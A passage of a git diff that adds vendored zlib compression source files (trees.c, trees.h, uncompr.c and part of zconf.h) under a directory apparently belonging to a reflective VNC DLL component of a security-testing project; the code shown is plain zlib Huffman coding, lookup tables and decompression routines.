138, min_count = 3; + } else if (curlen == nextlen) { + max_count = 6, min_count = 3; + } else { + max_count = 7, min_count = 4; + } + } +} + +/* =========================================================================== + * Send a literal or distance tree in compressed form, using the codes in + * bl_tree. + */ +local void send_tree (s, tree, max_code) + deflate_state *s; + ct_data *tree; /* the tree to be scanned */ + int max_code; /* and its largest code of non zero frequency */ +{ + int n; /* iterates over all tree elements */ + int prevlen = -1; /* last emitted length */ + int curlen; /* length of current code */ + int nextlen = tree[0].Len; /* length of next code */ + int count = 0; /* repeat count of the current code */ + int max_count = 7; /* max repeat count */ + int min_count = 4; /* min repeat count */ + + /* tree[max_code+1].Len = -1; */ /* guard already set */ + if (nextlen == 0) max_count = 138, min_count = 3; + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; nextlen = tree[n+1].Len; + if (++count < max_count && curlen == nextlen) { + continue; + } else if (count < min_count) { + do { send_code(s, curlen, s->bl_tree); } while (--count != 0); + + } else if (curlen != 0) { + if (curlen != prevlen) { + send_code(s, curlen, s->bl_tree); count--; + } + Assert(count >= 3 && count <= 6, " 3_6?"); + send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2); + + } else if (count <= 10) { + send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3); + + } else { + send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7); + } + count = 0; prevlen = curlen; + if (nextlen == 0) { + max_count = 138, min_count = 3; + } else if (curlen == nextlen) { + max_count = 6, min_count = 3; + } else { + max_count = 7, min_count = 4; + } + } +} + +/* =========================================================================== + * Construct the Huffman tree for the bit lengths and return the index in + * bl_order of the last bit length code to send. + */ +local int build_bl_tree(s) + deflate_state *s; +{ + int max_blindex; /* index of last bit length code of non zero freq */ + + /* Determine the bit length frequencies for literal and distance trees */ + scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code); + scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code); + + /* Build the bit length tree: */ + build_tree(s, (tree_desc *)(&(s->bl_desc))); + /* opt_len now includes the length of the tree representations, except + * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. + */ + + /* Determine the number of bit length codes to send. The pkzip format + * requires that at least 4 bit length codes be sent. (appnote.txt says + * 3 but the actual value used is 4.) + */ + for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) { + if (s->bl_tree[bl_order[max_blindex]].Len != 0) break; + } + /* Update opt_len to include the bit length tree and counts */ + s->opt_len += 3*(max_blindex+1) + 5+5+4; + Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld", + s->opt_len, s->static_len)); + + return max_blindex; +} + +/* =========================================================================== + * Send the header for a block using dynamic Huffman trees: the counts, the + * lengths of the bit length codes, the literal tree and the distance tree. + * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. + */ +local void send_all_trees(s, lcodes, dcodes, blcodes) + deflate_state *s; + int lcodes, dcodes, blcodes; /* number of codes for each tree */ +{ + int rank; /* index in bl_order */ + + Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes"); + Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, + "too many codes"); + Tracev((stderr, "\nbl counts: ")); + send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */ + send_bits(s, dcodes-1, 5); + send_bits(s, blcodes-4, 4); /* not -3 as stated in appnote.txt */ + for (rank = 0; rank < blcodes; rank++) { + Tracev((stderr, "\nbl code %2d ", bl_order[rank])); + send_bits(s, s->bl_tree[bl_order[rank]].Len, 3); + } + Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent)); + + send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */ + Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent)); + + send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */ + Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent)); +} + +/* =========================================================================== + * Send a stored block + */ +void _tr_stored_block(s, buf, stored_len, eof) + deflate_state *s; + charf *buf; /* input block */ + ulg stored_len; /* length of input block */ + int eof; /* true if this is the last block for a file */ +{ + send_bits(s, (STORED_BLOCK<<1)+eof, 3); /* send block type */ +#ifdef DEBUG + s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L; + s->compressed_len += (stored_len + 4) << 3; +#endif + copy_block(s, buf, (unsigned)stored_len, 1); /* with header */ +} + +/* =========================================================================== + * Send one empty static block to give enough lookahead for inflate. + * This takes 10 bits, of which 7 may remain in the bit buffer. + * The current inflate code requires 9 bits of lookahead. If the + * last two codes for the previous block (real code plus EOB) were coded + * on 5 bits or less, inflate may have only 5+3 bits of lookahead to decode + * the last real code. In this case we send two empty static blocks instead + * of one. (There are no problems if the previous block is stored or fixed.) + * To simplify the code, we assume the worst case of last real code encoded + * on one bit only. + */ +void _tr_align(s) + deflate_state *s; +{ + send_bits(s, STATIC_TREES<<1, 3); + send_code(s, END_BLOCK, static_ltree); +#ifdef DEBUG + s->compressed_len += 10L; /* 3 for block type, 7 for EOB */ +#endif + bi_flush(s); + /* Of the 10 bits for the empty block, we have already sent + * (10 - bi_valid) bits. The lookahead for the last real code (before + * the EOB of the previous block) was thus at least one plus the length + * of the EOB plus what we have just sent of the empty static block. + */ + if (1 + s->last_eob_len + 10 - s->bi_valid < 9) { + send_bits(s, STATIC_TREES<<1, 3); + send_code(s, END_BLOCK, static_ltree); +#ifdef DEBUG + s->compressed_len += 10L; +#endif + bi_flush(s); + } + s->last_eob_len = 7; +} + +/* =========================================================================== + * Determine the best encoding for the current block: dynamic trees, static + * trees or store, and output the encoded block to the zip file. + */ +void _tr_flush_block(s, buf, stored_len, eof) + deflate_state *s; + charf *buf; /* input block, or NULL if too old */ + ulg stored_len; /* length of input block */ + int eof; /* true if this is the last block for a file */ +{ + ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */ + int max_blindex = 0; /* index of last bit length code of non zero freq */ + + /* Build the Huffman trees unless a stored block is forced */ + if (s->level > 0) { + + /* Check if the file is ascii or binary */ + if (s->data_type == Z_UNKNOWN) set_data_type(s); + + /* Construct the literal and distance trees */ + build_tree(s, (tree_desc *)(&(s->l_desc))); + Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len, + s->static_len)); + + build_tree(s, (tree_desc *)(&(s->d_desc))); + Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len, + s->static_len)); + /* At this point, opt_len and static_len are the total bit lengths of + * the compressed block data, excluding the tree representations. + */ + + /* Build the bit length tree for the above two trees, and get the index + * in bl_order of the last bit length code to send. + */ + max_blindex = build_bl_tree(s); + + /* Determine the best encoding. Compute first the block length in bytes*/ + opt_lenb = (s->opt_len+3+7)>>3; + static_lenb = (s->static_len+3+7)>>3; + + Tracev((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u ", + opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len, + s->last_lit)); + + if (static_lenb <= opt_lenb) opt_lenb = static_lenb; + + } else { + Assert(buf != (char*)0, "lost buf"); + opt_lenb = static_lenb = stored_len + 5; /* force a stored block */ + } + +#ifdef FORCE_STORED + if (buf != (char*)0) { /* force stored block */ +#else + if (stored_len+4 <= opt_lenb && buf != (char*)0) { + /* 4: two words for the lengths */ +#endif + /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. + * Otherwise we can't have processed more than WSIZE input bytes since + * the last block flush, because compression would have been + * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to + * transform a block into a stored block. + */ + _tr_stored_block(s, buf, stored_len, eof); + +#ifdef FORCE_STATIC + } else if (static_lenb >= 0) { /* force static trees */ +#else + } else if (static_lenb == opt_lenb) { +#endif + send_bits(s, (STATIC_TREES<<1)+eof, 3); + compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree); +#ifdef DEBUG + s->compressed_len += 3 + s->static_len; +#endif + } else { + send_bits(s, (DYN_TREES<<1)+eof, 3); + send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1, + max_blindex+1); + compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree); +#ifdef DEBUG + s->compressed_len += 3 + s->opt_len; +#endif + } + Assert (s->compressed_len == s->bits_sent, "bad compressed size"); + /* The above check is made mod 2^32, for files larger than 512 MB + * and uLong implemented on 32 bits. + */ + init_block(s); + + if (eof) { + bi_windup(s); +#ifdef DEBUG + s->compressed_len += 7; /* align on byte boundary */ +#endif + } + Tracev((stderr,"\ncomprlen %lu(%lu) ", s->compressed_len>>3, + s->compressed_len-7*eof)); +} + +/* =========================================================================== + * Save the match info and tally the frequency counts. Return true if + * the current block must be flushed. + */ +int _tr_tally (s, dist, lc) + deflate_state *s; + unsigned dist; /* distance of matched string */ + unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */ +{ + s->d_buf[s->last_lit] = (ush)dist; + s->l_buf[s->last_lit++] = (uch)lc; + if (dist == 0) { + /* lc is the unmatched char */ + s->dyn_ltree[lc].Freq++; + } else { + s->matches++; + /* Here, lc is the match length - MIN_MATCH */ + dist--; /* dist = match distance - 1 */ + Assert((ush)dist < (ush)MAX_DIST(s) && + (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) && + (ush)d_code(dist) < (ush)D_CODES, "_tr_tally: bad match"); + + s->dyn_ltree[_length_code[lc]+LITERALS+1].Freq++; + s->dyn_dtree[d_code(dist)].Freq++; + } + +#ifdef TRUNCATE_BLOCK + /* Try to guess if it is profitable to stop the current block here */ + if ((s->last_lit & 0x1fff) == 0 && s->level > 2) { + /* Compute an upper bound for the compressed length */ + ulg out_length = (ulg)s->last_lit*8L; + ulg in_length = (ulg)((long)s->strstart - s->block_start); + int dcode; + for (dcode = 0; dcode < D_CODES; dcode++) { + out_length += (ulg)s->dyn_dtree[dcode].Freq * + (5L+extra_dbits[dcode]); + } + out_length >>= 3; + Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ", + s->last_lit, in_length, out_length, + 100L - out_length*100L/in_length)); + if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1; + } +#endif + return (s->last_lit == s->lit_bufsize-1); + /* We avoid equality with lit_bufsize because of wraparound at 64K + * on 16 bit machines and because stored blocks are restricted to + * 64K-1 bytes. + */ +} + +/* =========================================================================== + * Send the block data compressed using the given Huffman trees + */ +local void compress_block(s, ltree, dtree) + deflate_state *s; + ct_data *ltree; /* literal tree */ + ct_data *dtree; /* distance tree */ +{ + unsigned dist; /* distance of matched string */ + int lc; /* match length or unmatched char (if dist == 0) */ + unsigned lx = 0; /* running index in l_buf */ + unsigned code; /* the code to send */ + int extra; /* number of extra bits to send */ + + if (s->last_lit != 0) do { + dist = s->d_buf[lx]; + lc = s->l_buf[lx++]; + if (dist == 0) { + send_code(s, lc, ltree); /* send a literal byte */ + Tracecv(isgraph(lc), (stderr," '%c' ", lc)); + } else { + /* Here, lc is the match length - MIN_MATCH */ + code = _length_code[lc]; + send_code(s, code+LITERALS+1, ltree); /* send the length code */ + extra = extra_lbits[code]; + if (extra != 0) { + lc -= base_length[code]; + send_bits(s, lc, extra); /* send the extra length bits */ + } + dist--; /* dist is now the match distance - 1 */ + code = d_code(dist); + Assert (code < D_CODES, "bad d_code"); + + send_code(s, code, dtree); /* send the distance code */ + extra = extra_dbits[code]; + if (extra != 0) { + dist -= base_dist[code]; + send_bits(s, dist, extra); /* send the extra distance bits */ + } + } /* literal or match pair ? */ + + /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */ + Assert(s->pending < s->lit_bufsize + 2*lx, "pendingBuf overflow"); + + } while (lx < s->last_lit); + + send_code(s, END_BLOCK, ltree); + s->last_eob_len = ltree[END_BLOCK].Len; +} + +/* =========================================================================== + * Set the data type to ASCII or BINARY, using a crude approximation: + * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise. + * IN assertion: the fields freq of dyn_ltree are set and the total of all + * frequencies does not exceed 64K (to fit in an int on 16 bit machines). + */ +local void set_data_type(s) + deflate_state *s; +{ + int n = 0; + unsigned ascii_freq = 0; + unsigned bin_freq = 0; + while (n < 7) bin_freq += s->dyn_ltree[n++].Freq; + while (n < 128) ascii_freq += s->dyn_ltree[n++].Freq; + while (n < LITERALS) bin_freq += s->dyn_ltree[n++].Freq; + s->data_type = (Byte)(bin_freq > (ascii_freq >> 2) ? Z_BINARY : Z_ASCII); +} + +/* =========================================================================== + * Reverse the first len bits of a code, using straightforward code (a faster + * method would use a table) + * IN assertion: 1 <= len <= 15 + */ +local unsigned bi_reverse(code, len) + unsigned code; /* the value to invert */ + int len; /* its bit length */ +{ + register unsigned res = 0; + do { + res |= code & 1; + code >>= 1, res <<= 1; + } while (--len > 0); + return res >> 1; +} + +/* =========================================================================== + * Flush the bit buffer, keeping at most 7 bits in it. + */ +local void bi_flush(s) + deflate_state *s; +{ + if (s->bi_valid == 16) { + put_short(s, s->bi_buf); + s->bi_buf = 0; + s->bi_valid = 0; + } else if (s->bi_valid >= 8) { + put_byte(s, (Byte)s->bi_buf); + s->bi_buf >>= 8; + s->bi_valid -= 8; + } +} + +/* =========================================================================== + * Flush the bit buffer and align the output on a byte boundary + */ +local void bi_windup(s) + deflate_state *s; +{ + if (s->bi_valid > 8) { + put_short(s, s->bi_buf); + } else if (s->bi_valid > 0) { + put_byte(s, (Byte)s->bi_buf); + } + s->bi_buf = 0; + s->bi_valid = 0; +#ifdef DEBUG + s->bits_sent = (s->bits_sent+7) & ~7; +#endif +} + +/* =========================================================================== + * Copy a stored block, storing first the length and its + * one's complement if requested. + */ +local void copy_block(s, buf, len, header) + deflate_state *s; + charf *buf; /* the input data */ + unsigned len; /* its length */ + int header; /* true if block header must be written */ +{ + bi_windup(s); /* align on byte boundary */ + s->last_eob_len = 8; /* enough lookahead for inflate */ + + if (header) { + put_short(s, (ush)len); + put_short(s, (ush)~len); +#ifdef DEBUG + s->bits_sent += 2*16; +#endif + } +#ifdef DEBUG + s->bits_sent += (ulg)len<<3; +#endif + while (len--) { + put_byte(s, *buf++); + } +} diff --git a/external/source/reflective_vncdll/zlib/trees.h b/external/source/reflective_vncdll/zlib/trees.h new file mode 100644 index 0000000000..1ca868b848 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/trees.h @@ -0,0 +1,128 @@ +/* header created automatically with -DGEN_TREES_H */ + +local const ct_data static_ltree[L_CODES+2] = { +{{ 12},{ 8}}, {{140},{ 8}}, {{ 76},{ 8}}, {{204},{ 8}}, {{ 44},{ 8}}, +{{172},{ 8}}, {{108},{ 8}}, {{236},{ 8}}, {{ 28},{ 8}}, {{156},{ 8}}, +{{ 92},{ 8}}, {{220},{ 8}}, {{ 60},{ 8}}, {{188},{ 8}}, {{124},{ 8}}, +{{252},{ 8}}, {{ 2},{ 8}}, {{130},{ 8}}, {{ 66},{ 8}}, {{194},{ 8}}, +{{ 34},{ 8}}, {{162},{ 8}}, {{ 98},{ 8}}, {{226},{ 8}}, {{ 18},{ 8}}, +{{146},{ 8}}, {{ 82},{ 8}}, {{210},{ 8}}, {{ 50},{ 8}}, {{178},{ 8}}, +{{114},{ 8}}, {{242},{ 8}}, {{ 10},{ 8}}, {{138},{ 8}}, {{ 74},{ 8}}, +{{202},{ 8}}, {{ 42},{ 8}}, {{170},{ 8}}, {{106},{ 8}}, {{234},{ 8}}, +{{ 26},{ 8}}, {{154},{ 8}}, {{ 90},{ 8}}, {{218},{ 8}}, {{ 58},{ 8}}, +{{186},{ 8}}, {{122},{ 8}}, {{250},{ 8}}, {{ 6},{ 8}}, {{134},{ 8}}, +{{ 70},{ 8}}, {{198},{ 8}}, {{ 38},{ 8}}, {{166},{ 8}}, {{102},{ 8}}, +{{230},{ 8}}, {{ 22},{ 8}}, {{150},{ 8}}, {{ 86},{ 8}}, {{214},{ 8}}, +{{ 54},{ 8}}, {{182},{ 8}}, {{118},{ 8}}, {{246},{ 8}}, {{ 14},{ 8}}, +{{142},{ 8}}, {{ 78},{ 8}}, {{206},{ 8}}, {{ 46},{ 8}}, {{174},{ 8}}, +{{110},{ 8}}, {{238},{ 8}}, {{ 30},{ 8}}, {{158},{ 8}}, {{ 94},{ 8}}, +{{222},{ 8}}, {{ 62},{ 8}}, {{190},{ 8}}, {{126},{ 8}}, {{254},{ 8}}, +{{ 1},{ 8}}, {{129},{ 8}}, {{ 65},{ 8}}, {{193},{ 8}}, {{ 33},{ 8}}, +{{161},{ 8}}, {{ 97},{ 8}}, {{225},{ 8}}, {{ 17},{ 8}}, {{145},{ 8}}, +{{ 81},{ 8}}, {{209},{ 8}}, {{ 49},{ 8}}, {{177},{ 8}}, {{113},{ 8}}, +{{241},{ 8}}, {{ 9},{ 8}}, {{137},{ 8}}, {{ 73},{ 8}}, {{201},{ 8}}, +{{ 41},{ 8}}, {{169},{ 8}}, {{105},{ 8}}, {{233},{ 8}}, {{ 25},{ 8}}, +{{153},{ 8}}, {{ 89},{ 8}}, {{217},{ 8}}, {{ 57},{ 8}}, {{185},{ 8}}, +{{121},{ 8}}, {{249},{ 8}}, {{ 5},{ 8}}, {{133},{ 8}}, {{ 69},{ 8}}, +{{197},{ 8}}, {{ 37},{ 8}}, {{165},{ 8}}, {{101},{ 8}}, {{229},{ 8}}, +{{ 21},{ 8}}, {{149},{ 8}}, {{ 85},{ 8}}, {{213},{ 8}}, {{ 53},{ 8}}, +{{181},{ 8}}, {{117},{ 8}}, {{245},{ 8}}, {{ 13},{ 8}}, {{141},{ 8}}, +{{ 77},{ 8}}, {{205},{ 8}}, {{ 45},{ 8}}, {{173},{ 8}}, {{109},{ 8}}, +{{237},{ 8}}, {{ 29},{ 8}}, {{157},{ 8}}, {{ 93},{ 8}}, {{221},{ 8}}, +{{ 61},{ 8}}, {{189},{ 8}}, {{125},{ 8}}, {{253},{ 8}}, {{ 19},{ 9}}, +{{275},{ 9}}, {{147},{ 9}}, {{403},{ 9}}, {{ 83},{ 9}}, {{339},{ 9}}, +{{211},{ 9}}, {{467},{ 9}}, {{ 51},{ 9}}, {{307},{ 9}}, {{179},{ 9}}, +{{435},{ 9}}, {{115},{ 9}}, {{371},{ 9}}, {{243},{ 9}}, {{499},{ 9}}, +{{ 11},{ 9}}, {{267},{ 9}}, {{139},{ 9}}, {{395},{ 9}}, {{ 75},{ 9}}, +{{331},{ 9}}, {{203},{ 9}}, {{459},{ 9}}, {{ 43},{ 9}}, {{299},{ 9}}, +{{171},{ 9}}, {{427},{ 9}}, {{107},{ 9}}, {{363},{ 9}}, {{235},{ 9}}, +{{491},{ 9}}, {{ 27},{ 9}}, {{283},{ 9}}, {{155},{ 9}}, {{411},{ 9}}, +{{ 91},{ 9}}, {{347},{ 9}}, {{219},{ 9}}, {{475},{ 9}}, {{ 59},{ 9}}, +{{315},{ 9}}, {{187},{ 9}}, {{443},{ 9}}, {{123},{ 9}}, {{379},{ 9}}, +{{251},{ 9}}, {{507},{ 9}}, {{ 7},{ 9}}, {{263},{ 9}}, {{135},{ 9}}, +{{391},{ 9}}, {{ 71},{ 9}}, {{327},{ 9}}, {{199},{ 9}}, {{455},{ 9}}, +{{ 39},{ 9}}, {{295},{ 9}}, {{167},{ 9}}, {{423},{ 9}}, {{103},{ 9}}, +{{359},{ 9}}, {{231},{ 9}}, {{487},{ 9}}, {{ 23},{ 9}}, {{279},{ 9}}, +{{151},{ 9}}, {{407},{ 9}}, {{ 87},{ 9}}, {{343},{ 9}}, {{215},{ 9}}, +{{471},{ 9}}, {{ 55},{ 9}}, {{311},{ 9}}, {{183},{ 9}}, {{439},{ 9}}, +{{119},{ 9}}, {{375},{ 9}}, {{247},{ 9}}, {{503},{ 9}}, {{ 15},{ 9}}, +{{271},{ 9}}, {{143},{ 9}}, {{399},{ 9}}, {{ 79},{ 9}}, {{335},{ 9}}, +{{207},{ 9}}, {{463},{ 9}}, {{ 47},{ 9}}, {{303},{ 9}}, {{175},{ 9}}, +{{431},{ 9}}, {{111},{ 9}}, {{367},{ 9}}, {{239},{ 9}}, {{495},{ 9}}, +{{ 31},{ 9}}, {{287},{ 9}}, {{159},{ 9}}, {{415},{ 9}}, {{ 95},{ 9}}, +{{351},{ 9}}, {{223},{ 9}}, {{479},{ 9}}, {{ 63},{ 9}}, {{319},{ 9}}, +{{191},{ 9}}, {{447},{ 9}}, {{127},{ 9}}, {{383},{ 9}}, {{255},{ 9}}, +{{511},{ 9}}, {{ 0},{ 7}}, {{ 64},{ 7}}, {{ 32},{ 7}}, {{ 96},{ 7}}, +{{ 16},{ 7}}, {{ 80},{ 7}}, {{ 48},{ 7}}, {{112},{ 7}}, {{ 8},{ 7}}, +{{ 72},{ 7}}, {{ 40},{ 7}}, {{104},{ 7}}, {{ 24},{ 7}}, {{ 88},{ 7}}, +{{ 56},{ 7}}, {{120},{ 7}}, {{ 4},{ 7}}, {{ 68},{ 7}}, {{ 36},{ 7}}, +{{100},{ 7}}, {{ 20},{ 7}}, {{ 84},{ 7}}, {{ 52},{ 7}}, {{116},{ 7}}, +{{ 3},{ 8}}, {{131},{ 8}}, {{ 67},{ 8}}, {{195},{ 8}}, {{ 35},{ 8}}, +{{163},{ 8}}, {{ 99},{ 8}}, {{227},{ 8}} +}; + +local const ct_data static_dtree[D_CODES] = { +{{ 0},{ 5}}, {{16},{ 5}}, {{ 8},{ 5}}, {{24},{ 5}}, {{ 4},{ 5}}, +{{20},{ 5}}, {{12},{ 5}}, {{28},{ 5}}, {{ 2},{ 5}}, {{18},{ 5}}, +{{10},{ 5}}, {{26},{ 5}}, {{ 6},{ 5}}, {{22},{ 5}}, {{14},{ 5}}, +{{30},{ 5}}, {{ 1},{ 5}}, {{17},{ 5}}, {{ 9},{ 5}}, {{25},{ 5}}, +{{ 5},{ 5}}, {{21},{ 5}}, {{13},{ 5}}, {{29},{ 5}}, {{ 3},{ 5}}, +{{19},{ 5}}, {{11},{ 5}}, {{27},{ 5}}, {{ 7},{ 5}}, {{23},{ 5}} +}; + +const uch _dist_code[DIST_CODE_LEN] = { + 0, 1, 2, 3, 4, 4, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, + 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, +10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, +11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, +12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, +13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, +13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, +14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, +14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, +14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, +15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, +15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, +15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 0, 0, 16, 17, +18, 18, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 22, +23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, +24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, +26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, +26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, +27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, +27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, +28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, +28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, +28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, +29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, +29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, +29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29 +}; + +const uch _length_code[MAX_MATCH-MIN_MATCH+1]= { + 0, 1, 2, 3, 4, 5, 6, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 12, 12, +13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, +17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, +19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, +21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 22, +22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, +23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, +24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, +25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, +25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26, +26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, +26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, +27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 28 +}; + +local const int base_length[LENGTH_CODES] = { +0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 12, 14, 16, 20, 24, 28, 32, 40, 48, 56, +64, 80, 96, 112, 128, 160, 192, 224, 0 +}; + +local const int base_dist[D_CODES] = { + 0, 1, 2, 3, 4, 6, 8, 12, 16, 24, + 32, 48, 64, 96, 128, 192, 256, 384, 512, 768, + 1024, 1536, 2048, 3072, 4096, 6144, 8192, 12288, 16384, 24576 +}; + diff --git a/external/source/reflective_vncdll/zlib/uncompr.c b/external/source/reflective_vncdll/zlib/uncompr.c new file mode 100644 index 0000000000..c40d044ede --- /dev/null +++ b/external/source/reflective_vncdll/zlib/uncompr.c @@ -0,0 +1,58 @@ +/* uncompr.c -- decompress a memory buffer + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* @(#) $Id: uncompr.c 3351 2006-01-08 23:25:19Z mmiller $ */ + +#include "zlib.h" + +/* =========================================================================== + Decompresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be large enough to hold the + entire uncompressed data. (The size of the uncompressed data must have + been saved previously by the compressor and transmitted to the decompressor + by some mechanism outside the scope of this compression library.) + Upon exit, destLen is the actual size of the compressed buffer. + This function can be used to decompress a whole file at once if the + input file is mmap'ed. + + uncompress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer, or Z_DATA_ERROR if the input data was corrupted. +*/ +int ZEXPORT uncompress (dest, destLen, source, sourceLen) + Bytef *dest; + uLongf *destLen; + const Bytef *source; + uLong sourceLen; +{ + z_stream stream; + int err; + + stream.next_in = (Bytef*)source; + stream.avail_in = (uInt)sourceLen; + /* Check for source > 64K on 16-bit machine: */ + if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; + + stream.next_out = dest; + stream.avail_out = (uInt)*destLen; + if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; + + stream.zalloc = (alloc_func)0; + stream.zfree = (free_func)0; + + err = inflateInit(&stream); + if (err != Z_OK) return err; + + err = inflate(&stream, Z_FINISH); + if (err != Z_STREAM_END) { + inflateEnd(&stream); + return err == Z_OK ? Z_BUF_ERROR : err; + } + *destLen = stream.total_out; + + err = inflateEnd(&stream); + return err; +} diff --git a/external/source/reflective_vncdll/zlib/zconf.h b/external/source/reflective_vncdll/zlib/zconf.h new file mode 100644 index 0000000000..b5e454b658 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zconf.h @@ -0,0 +1,279 @@ +/* zconf.h -- configuration of the zlib compression library + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* @(#) $Id: zconf.h 3351 2006-01-08 23:25:19Z mmiller $ */ + +#ifndef _ZCONF_H +#define _ZCONF_H + +/* + * If you *really* need a unique prefix for all types and library functions, + * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. + */ +#ifdef Z_PREFIX +# define deflateInit_ 